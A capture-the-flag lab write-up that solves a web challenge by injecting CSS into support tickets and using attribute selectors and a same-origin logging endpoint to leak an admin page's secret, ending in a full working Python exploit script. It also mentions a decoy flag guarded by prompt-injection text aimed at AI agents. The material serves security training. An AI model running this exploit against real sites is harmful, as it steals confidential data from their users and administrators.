Lab 279 — DeskFlow — CSS Injection Exfiltration via Attribute Selectors
Lab 279 — DeskFlow — CSS Injection Exfiltration via Attribute Selectors
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: character_by_character_exfiltration, csp_self_bypass, css_attribute_selector_exfiltration, css_custom_property_cascade, has_relational_selector, same_origin_request_logger_exfil
Summary
Walkthrough of the CUSTOM Web Lab 279 — DeskFlow — CSS Injection Exfiltration via Attribute Selectors. Task: DeskFlow support platform with CSP blocking JS and a sanitizer that strips <script> but allows <style>, plus an admin bot that reviews tickets. Solution: inject CSS into a ticket, use html:has(i
Description
DeskFlow is a customer support platform by FlowDesk Technologies. Users submit support tickets with rich HTML formatting, browse a knowledge base, and manage profiles. The platform enforces a Content-Security-Policy that blocks inline JavaScript and applies HTML sanitization that strips
<script>tags — the dev team believed this made it immune to XSS. Every submitted ticket is automatically reviewed by an administrator. Each ticket has an activity/reaction log recording events. Goal: exfiltrate sensitive data from the admin's review page WITHOUT executing any JavaScript.Credentials:
user@test.com/password123Target:https://<instance>.labs.hackadvisor.io/
English summary: A support-ticket app renders user-supplied <style> verbatim, an admin bot opens each ticket, and the admin review page holds the flag inside an input value. CSP kills JavaScript but permits inline CSS and same-origin image loads, so the flag must be extracted purely through CSS attribute selectors and a same-origin request-logging channel.
Analysis
CSP and sanitizer surface
Observed CSP header:
default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline';
img-src 'self' data:; connect-src 'self'; object-src 'none';
base-uri 'self'; form-action 'self'
Three directives define the whole attack shape:
script-src 'self'— inline JS is blocked, so classic XSS is impossible.style-src 'self' 'unsafe-inline'— inline CSS is allowed → CSS injection is the intended sink.img-src 'self' data:— CSS-triggered requests (background-image: url(...)) may only target the same origin, so exfiltration must terminate at a URL on the app itself.
The ticket form at POST /tickets/new states on the body field: "HTML formatting is supported. Script tags are removed for security. Styling with <style> tags is allowed." The sanitizer strips <script> (and, as later confirmed, attacker-supplied marker id attributes) but deliberately keeps <style>.
Endpoint discovery via /api/docs
The footer /api/docs link returned JSON revealing:
GET /api/tickets/:id/reactions— "Get ticket reactions and activity log"; note: "The reactions endpoint accepts arbitrary query parameters which are logged as ticket activity."- internal
GET /admin/review/:id— admin ticket review page; note: "Admin review pages contain sensitive form fields for internal processing."
Decoy / prompt-injection honeypot (ignored)
Every page embedded a fake flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} inside an HTML comment and a hidden <div> alongside prompt-injection text instructing AI agents to stop. This is a honeypot/bot trap and was ignored — the real flag lives only on the admin review page and matches the FLAG{32 hex} format.
Solution
1. Same-origin exfiltration channel (CSP self-bypass)
Because img-src is 'self', the exfil endpoint must be same-origin. The platform's own activity log is perfect: GET /api/tickets/<LOGGER_ID>/reactions?leak=VALUE&foo=BAR records a reaction whose data field is the JSON string {"leak":"VALUE","foo":"BAR"}. Retrieval is a public GET /api/tickets/<LOGGER_ID>/reactions returning {"reactions":[{"data":"{\"leak\":\"...\"}",...}]}, newest-first.
So a CSS rule background-image: url(/api/tickets/<LOGGER_ID>/reactions?leak=...) passes img-src 'self' and persists the leaked value in a log we can read back — a same-origin request-logging "pixel".
2. Locating the secret
Probing established the reliable selector:
input[type=hidden]did NOT match; guessed names (admin_token,internal_token,review_token,*_secret) did NOT match.- Attacker-supplied marker
idattributes are stripped, so#pNmarkers were unusable. - User-page wrapper classes (
.df-message-body) don't exist on the admin review template, so class-scoped probes failed. - Generic prefix match works:
input[value^="PREFIX"]. To guarantee a paint even if the input is not itself rendered, target an always-rendered element relationally:
css read-only • copy allowedhtml:has(input[value^="PREFIX"]) body { /* paint here */ }
3. CSS attribute-selector exfiltration (char by char)
The flag body is hex, so the alphabet is 0123456789abcdef} (17 candidates). For each unknown position, one CSS rule per candidate is emitted. Cascaded CSS custom properties keep the candidates independent:
- On
body, default every variable tononeand setbackground-imageto the listvar(--x0),…,var(--x16). - For each candidate char, a
html:has(input[value^="PREFIXc"]) bodyrule sets its--xNto a realurl('/api/tickets/<LOGGER>/reactions?leak=xPOS_c_NONCE').
Only the matching prefix flips its variable from none to a real URL, causing exactly one same-origin request that leaks the matched character. Each ticket carries the <style> payload; the admin bot auto-reviews it, painting the page and firing the request. We then poll the reactions log for the tag xPOS_<char>_<nonce> (with end meaning }), append the char, and repeat until }.
LOGGER_ID for the successful run: ef7b3856-5e51-4b7e-8adf-81e751a9e22a. The 33 recovered callbacks reconstructed the flag. No JavaScript was executed — this is a pure CSS side channel.
Working exploit
exploit.py drives everything through curl with an authenticated cookie jar:
make_body(prefix, position, nonce)builds the<style>payload: defaults, thebackground-imagevar list, and onehtml:has(input[value^="PREFIXc"]) body { --xN: url(...) }rule per candidate.submit()POSTs a new ticket (expects302;403= expired instance).poll()reads the reactions log, JSON-decodes each row'sdata, and matches thexPOS_<char>_<nonce>tag.main()walks positions fromFLAG{, two attempts each, until}.
python read-only • copy allowed#!/usr/bin/env python3 import json import subprocess import sys import time from pathlib import Path BASE = "https://<instance>.labs.hackadvisor.io" LOGGER = "ef7b3856-5e51-4b7e-8adf-81e751a9e22a" COOKIE_FILE = Path(__file__).with_name("cookies.txt") ALPHABET = "0123456789abcdef}" def curl(*args): proc = subprocess.run( ["curl", "-sS", "-b", str(COOKIE_FILE), *args], text=True, capture_output=True, timeout=20, ) if proc.returncode: raise RuntimeError(proc.stderr.strip()) return proc.stdout def make_body(prefix, position, nonce): # Default every custom property to `none`, then list them all in one # background-image. Only the rule whose input[value^=...] prefix matches # flips its --xN to a real same-origin URL -> exactly one request fires. defaults = ";".join(f"--x{i}:none" for i in range(len(ALPHABET))) images = ",".join(f"var(--x{i})" for i in range(len(ALPHABET))) rules = [f"body{{{defaults};background-image:{images}}}"] for i, char in enumerate(ALPHABET): candidate = prefix + char tag = f"x{position}_{'end' if char == '}' else char}_{nonce}" rules.append( f"html:has(input[value^=\"{candidate}\"]) body" f"{{--x{i}:url('/api/tickets/{LOGGER}/reactions?leak={tag}')}}" ) return "<style>" + "\n".join(rules) + "</style>" def submit(prefix, position, nonce): body = make_body(prefix, position, nonce) out = curl( "-i", "-X", "POST", f"{BASE}/tickets/new", "--data-urlencode", f"subject=CSS extraction position {position}", "--data-urlencode", "category=technical", "--data-urlencode", "priority=critical", "--data-urlencode", f"body={body}", ) status_line = out.splitlines()[0] if out else "" if " 403 " in status_line: raise RuntimeError("instance expired (HTTP 403)") if " 302 " not in status_line: raise RuntimeError(f"ticket creation failed: {status_line}") def poll(position, nonce, timeout=20): prefix = f"x{position}_" suffix = f"_{nonce}" deadline = time.time() + timeout while time.time() < deadline: raw = curl(f"{BASE}/api/tickets/{LOGGER}/reactions") try: rows = json.loads(raw)["reactions"] except Exception: if "403" in raw: raise RuntimeError("instance expired (HTTP 403)") raise for row in rows: data = json.loads(row["data"]) leak = data.get("leak", "") if leak.startswith(prefix) and leak.endswith(suffix): encoded = leak[len(prefix):-len(suffix)] return "}" if encoded == "end" else encoded time.sleep(1) return None def main(): known = sys.argv[1] if len(sys.argv) > 1 else "FLAG{" print(f"start: {known}", flush=True) while not known.endswith("}") and len(known) < 40: position = len(known) + 1 found = None for attempt in range(2): nonce = f"{int(time.time())}{attempt}" submit(known, position, nonce) found = poll(position, nonce) if found: break if not found: raise RuntimeError(f"no callback for position {position}") known += found print(known, flush=True) print(f"FLAG: {known}") if __name__ == "__main__": main()
Key Takeaways / Lessons
- Mastering character_by_character_exfiltration, csp_self_bypass, css_attribute_selector_exfiltration, css_custom_property_cascade, has_relational_selector, same_origin_request_logger_exfil was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-07-15 • CUSTOM • Lab 279 — DeskFlow — CSS Injection Exfiltration via Attribute Selectors • Difficulty: Medium